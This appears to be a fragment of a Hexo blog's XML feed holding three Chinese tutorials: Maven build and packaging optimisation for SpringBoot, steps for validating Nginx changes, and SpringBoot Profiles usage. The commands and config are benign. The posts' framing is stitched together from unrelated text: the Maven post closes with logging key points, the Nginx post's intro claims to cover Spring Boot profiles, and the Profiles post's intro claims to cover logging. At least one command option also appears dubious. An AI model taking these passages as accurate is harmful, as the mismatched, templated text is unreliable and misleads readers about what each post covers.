class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">printInfo</span><span class="params">()</span> &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;Version: &quot;</span> + buildProperties.getVersion());</span><br><span class="line">    System.out.println(<span class="string">&quot;Build Time: &quot;</span> + buildProperties.getTime());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、构建加速技巧"><a href="#四、构建加速技巧" class="headerlink" title="四、构建加速技巧"></a>四、构建加速技巧</h2><p>#</p><h2 id="4-1-Maven并行构建"><a href="#4-1-Maven并行构建" class="headerlink" title="4.1 Maven并行构建"></a>4.1 Maven并行构建</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn clean package -T 4</span><br></pre></td></tr></table></figure><p>使用4个线程并行构建模块。</p><p>#</p><h2 id="4-2-跳过测试加速"><a href="#4-2-跳过测试加速" class="headerlink" title="4.2 跳过测试加速"></a>4.2 跳过测试加速</h2><p>开发环境验证时：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn clean package -DskipTests</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-配置镜像加速"><a href="#4-3-配置镜像加速" class="headerlink" title="4.3 配置镜像加速"></a>4.3 配置镜像加速</h2><p>在<code>settings.xml</code>中配置阿里云镜像：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">mirrors</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">mirror</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>aliyun<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">name</span>&gt;</span>Aliyun Maven<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">url</span>&gt;</span>https://maven.aliyun.com/repository/public<span class="tag">&lt;/<span class="name">url</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">mirrorOf</span>&gt;</span>central<span class="tag">&lt;/<span class="name">mirrorOf</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">mirror</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">mirrors</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-增量编译"><a href="#4-4-增量编译" class="headerlink" title="4.4 增量编译"></a>4.4 增量编译</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-compiler-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">useIncrementalCompilation</span>&gt;</span>true<span class="tag">&lt;/<span class="name">useIncrementalCompilation</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-5-Gradle替代方案"><a href="#4-5-Gradle替代方案" class="headerlink" title="4.5 Gradle替代方案"></a>4.5 Gradle替代方案</h2><p>Gradle的增量构建通常更快：</p><figure class="highlight groovy"><table><tr><td class="code"><pre><span class="line">plugins &#123;</span><br><span class="line">    id <span class="string">&#x27;java&#x27;</span></span><br><span class="line">    id <span class="string">&#x27;org.springframework.boot&#x27;</span> version <span class="string">&#x27;3.x.x&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tasks.named(<span class="string">&#x27;bootJar&#x27;</span>) &#123;</span><br><span class="line">    layered &#123;</span><br><span class="line">        enabled = <span class="literal">true</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、打包瘦身策略"><a href="#五、打包瘦身策略" class="headerlink" title="五、打包瘦身策略"></a>五、打包瘦身策略</h2><p>#</p><h2 id="5-1-精简依赖"><a href="#5-1-精简依赖" class="headerlink" title="5.1 精简依赖"></a>5.1 精简依赖</h2><p><strong>分析依赖树</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn dependency:tree</span><br></pre></td></tr></table></figure><p><strong>排除传递依赖</strong>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">exclusions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">exclusion</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-tomcat<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">exclusion</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">exclusions</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>替换为Undertow（更轻量）：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-undertow<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-使用JRE运行时"><a href="#5-2-使用JRE运行时" class="headerlink" title="5.2 使用JRE运行时"></a>5.2 使用JRE运行时</h2><p>Dockerfile中使用JRE而非JDK：</p><figure class="highlight dockerfile"><table><tr><td class="code"><pre><span class="line"><span class="keyword">FROM</span> eclipse-temurin:<span class="number">17</span>-jre</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-自定义JRE（Java-11-）"><a href="#5-3-自定义JRE（Java-11-）" class="headerlink" title="5.3 自定义JRE（Java 11+）"></a>5.3 自定义JRE（Java 11+）</h2><p>使用<code>jlink</code>创建最小化JRE：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jlink \</span><br><span class="line">  --module-path <span class="variable">$JAVA_HOME</span>/jmods \</span><br><span class="line">  --add-modules java.base,java.logging,java.xml,jdk.unsupported \</span><br><span class="line">  --output myjre \</span><br><span class="line">  --strip-debug \</span><br><span class="line">  --no-man-pages \</span><br><span class="line">  --no-header-files \</span><br><span class="line">  --compress=2</span><br></pre></td></tr></table></figure><h2 id="六、多环境配置"><a href="#六、多环境配置" class="headerlink" title="六、多环境配置"></a>六、多环境配置</h2><p>#</p><h2 id="6-1-Profile过滤资源"><a href="#6-1-Profile过滤资源" class="headerlink" title="6.1 Profile过滤资源"></a>6.1 Profile过滤资源</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">profiles</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">activation</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">activeByDefault</span>&gt;</span>true<span class="tag">&lt;/<span class="name">activeByDefault</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">activation</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">env</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">env</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">env</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">env</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">profiles</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-资源过滤"><a href="#6-2-资源过滤" class="headerlink" title="6.2 资源过滤"></a>6.2 资源过滤</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">resources</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">resource</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">directory</span>&gt;</span>src/main/resources<span class="tag">&lt;/<span class="name">directory</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">filtering</span>&gt;</span>true<span class="tag">&lt;/<span class="name">filtering</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">resource</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">resources</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="七、完整优化配置示例"><a href="#七、完整优化配置示例" class="headerlink" title="七、完整优化配置示例"></a>七、完整优化配置示例</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">project</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- ... 其他配置 ... --&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">finalName</span>&gt;</span>$&#123;project.artifactId&#125;<span class="tag">&lt;/<span class="name">finalName</span>&gt;</span></span><br><span class="line">        </span><br><span class="line">        <span class="tag">&lt;<span class="name">resources</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">resource</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">directory</span>&gt;</span>src/main/resources<span class="tag">&lt;/<span class="name">directory</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">filtering</span>&gt;</span>true<span class="tag">&lt;/<span class="name">filtering</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">resource</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">resources</span>&gt;</span></span><br><span class="line">        </span><br><span class="line">        <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">            <span class="comment">&lt;!-- SpringBoot打包插件 --&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                    <span class="comment">&lt;!-- 启用分层 --&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">layers</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">enabled</span>&gt;</span>true<span class="tag">&lt;/<span class="name">enabled</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">layers</span>&gt;</span></span><br><span class="line">                    <span class="comment">&lt;!-- 排除devtools --&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">excludeDevtools</span>&gt;</span>true<span class="tag">&lt;/<span class="name">excludeDevtools</span>&gt;</span></span><br><span class="line">                    <span class="comment">&lt;!-- 包含运行时信息 --&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">includeSystemScope</span>&gt;</span>true<span class="tag">&lt;/<span class="name">includeSystemScope</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">goal</span>&gt;</span>repackage<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">goal</span>&gt;</span>build-info<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment">&lt;!-- 编译插件 --&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-compiler-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.11.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">source</span>&gt;</span>17<span class="tag">&lt;/<span class="name">source</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">target</span>&gt;</span>17<span class="tag">&lt;/<span class="name">target</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">compilerArgs</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">arg</span>&gt;</span>-parameters<span class="tag">&lt;/<span class="name">arg</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">compilerArgs</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment">&lt;!-- 资源插件 --&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-resources-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.3.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">encoding</span>&gt;</span>UTF-8<span class="tag">&lt;/<span class="name">encoding</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">project</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="八、验证打包结果"><a href="#八、验证打包结果" class="headerlink" title="八、验证打包结果"></a>八、验证打包结果</h2><p>#</p><h2 id="8-1-检查jar内容"><a href="#8-1-检查jar内容" class="headerlink" title="8.1 检查jar内容"></a>8.1 检查jar内容</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jar tf myapp.jar | <span class="built_in">head</span> -20</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-验证可执行性"><a href="#8-2-验证可执行性" class="headerlink" title="8.2 验证可执行性"></a>8.2 验证可执行性</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar myapp.jar --dry-run</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-分析jar大小构成"><a href="#8-3-分析jar大小构成" class="headerlink" title="8.3 分析jar大小构成"></a>8.3 分析jar大小构成</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jar tf myapp.jar | grep -E <span class="string">&#x27;^BOOT-INF/lib/&#x27;</span> | \</span><br><span class="line">  awk -F<span class="string">&#x27;/&#x27;</span> <span class="string">&#x27;&#123;print $NF&#125;&#x27;</span> | <span class="built_in">sort</span></span><br></pre></td></tr></table></figure><h2 id="九、常见问题"><a href="#九、常见问题" class="headerlink" title="九、常见问题"></a>九、常见问题</h2><p>#</p><h2 id="9-1-打包后无法启动"><a href="#9-1-打包后无法启动" class="headerlink" title="9.1 打包后无法启动"></a>9.1 打包后无法启动</h2><p>检查MANIFEST.MF中的Main-Class：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">unzip -p myapp.jar META-INF/MANIFEST.MF</span><br></pre></td></tr></table></figure><p>正确应该指向：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Main-Class: org.springframework.boot.loader.JarLauncher</span><br><span class="line">Start-Class: com.example.MyApplication</span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-2-依赖版本冲突"><a href="#9-2-依赖版本冲突" class="headerlink" title="9.2 依赖版本冲突"></a>9.2 依赖版本冲突</h2><p>使用Maven Enforcer插件：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-enforcer-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">goal</span>&gt;</span>enforce<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">rules</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">dependencyConvergence</span>/&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">rules</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-3-资源文件未打包"><a href="#9-3-资源文件未打包" class="headerlink" title="9.3 资源文件未打包"></a>9.3 资源文件未打包</h2><p>确保资源文件在<code>src/main/resources</code>目录下，且未被排除。</p><h2 id="十、总结"><a href="#十、总结" class="headerlink" title="十、总结"></a>十、总结</h2><table><thead><tr><th>优化方向</th><th>具体措施</th><th>适用场景</th></tr></thead><tbody><tr><td>构建速度</td><td>并行构建、镜像加速、跳过测试</td><td>开发迭代</td></tr><tr><td>镜像大小</td><td>分层打包、JRE运行时、精简依赖</td><td>Docker部署</td></tr><tr><td>部署效率</td><td>layertools提取、缓存层复用</td><td>CI/CD流水线</td></tr><tr><td>可维护性</td><td>build-info、版本信息注入</td><td>生产运维</td></tr></tbody></table><p>掌握这些Maven打包优化技巧，能够显著提升SpringBoot应用的构建和部署效率，特别是在容器化环境中，分层打包带来的收益尤为明显。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Spring </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-配置修改后的验证流程"><a href="#Nginx-配置修改后的验证流程" class="headerlink" title="Nginx 配置修改后的验证流程"></a>Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot Profiles多环境管理</title>
      <link href="//springboot-profiles-duo-huan-jing-guan-li/"/>
      <url>//springboot-profiles-duo-huan-jing-guan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot-Profiles多环境管理"><a href="#SpringBoot-Profiles多环境管理" class="headerlink" title="SpringBoot Profiles多环境管理"></a>SpringBoot Profiles多环境管理</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="Profile-配置方式"><a href="#Profile-配置方式" class="headerlink" title="Profile 配置方式"></a>Profile 配置方式</h2><p>#</p><h2 id="1-配置文件命名"><a href="#1-配置文件命名" class="headerlink" title="1. 配置文件命名"></a>1. 配置文件命名</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">src/main/resources/</span><br><span class="line">├── application.yml          # 公共配置</span><br><span class="line">├── application-dev.yml      # 开发环境</span><br><span class="line">├── application-test.yml     # 测试环境</span><br><span class="line">└── application-prod.yml     # 生产环境</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-激活-Profile"><a href="#2-激活-Profile" class="headerlink" title="2. 激活 Profile"></a>2. 激活 Profile</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># application.yml</span></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 启动参数</span></span><br><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br><span class="line"></span><br><span class="line"><span class="comment"># 环境变量</span></span><br><span class="line"><span class="built_in">export</span> SPRING_PROFILES_ACTIVE=prod</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-Profile-组（Spring-Boot-2-4-）"><a href="#3-Profile-组（Spring-Boot-2-4-）" class="headerlink" title="3. Profile 组（Spring Boot 2.4+）"></a>3. Profile 组（Spring Boot 2.4+）</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">group:</span></span><br><span class="line">      <span class="attr">local:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">dev</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">local-db</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">local-cache</span></span><br><span class="line">      <span class="attr">production:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">prod</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">prod-db</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">prod-cache</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">monitoring</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=production</span><br><span class="line"><span class="comment"># 相当于激活：prod, prod-db, prod-cache, monitoring</span></span><br></pre></td></tr></table></figure><h2 id="Profile-注解"><a href="#Profile-注解" class="headerlink" title="@Profile 注解"></a>@Profile 注解</h2><p>#</p><h2 id="Bean-级别"><a href="#Bean-级别" class="headerlink" title="Bean 级别"></a>Bean 级别</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataSourceConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Profile(&quot;dev&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">devDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> DataSourceBuilder.create()</span><br><span class="line">            .url(<span class="string">&quot;jdbc:h2:mem:testdb&quot;</span>)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Profile(&quot;prod&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">prodDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> DataSourceBuilder.create()</span><br><span class="line">            .url(<span class="string">&quot;jdbc:mysql://prod:3306/db&quot;</span>)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Profile(&quot;!prod&quot;)</span>  <span class="comment">// 非 prod 环境</span></span><br><span class="line">    <span class="keyword">public</span> MockService <span class="title function_">mockService</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">MockService</span>();</span><br><span class="line">    &#125;</span><br><span 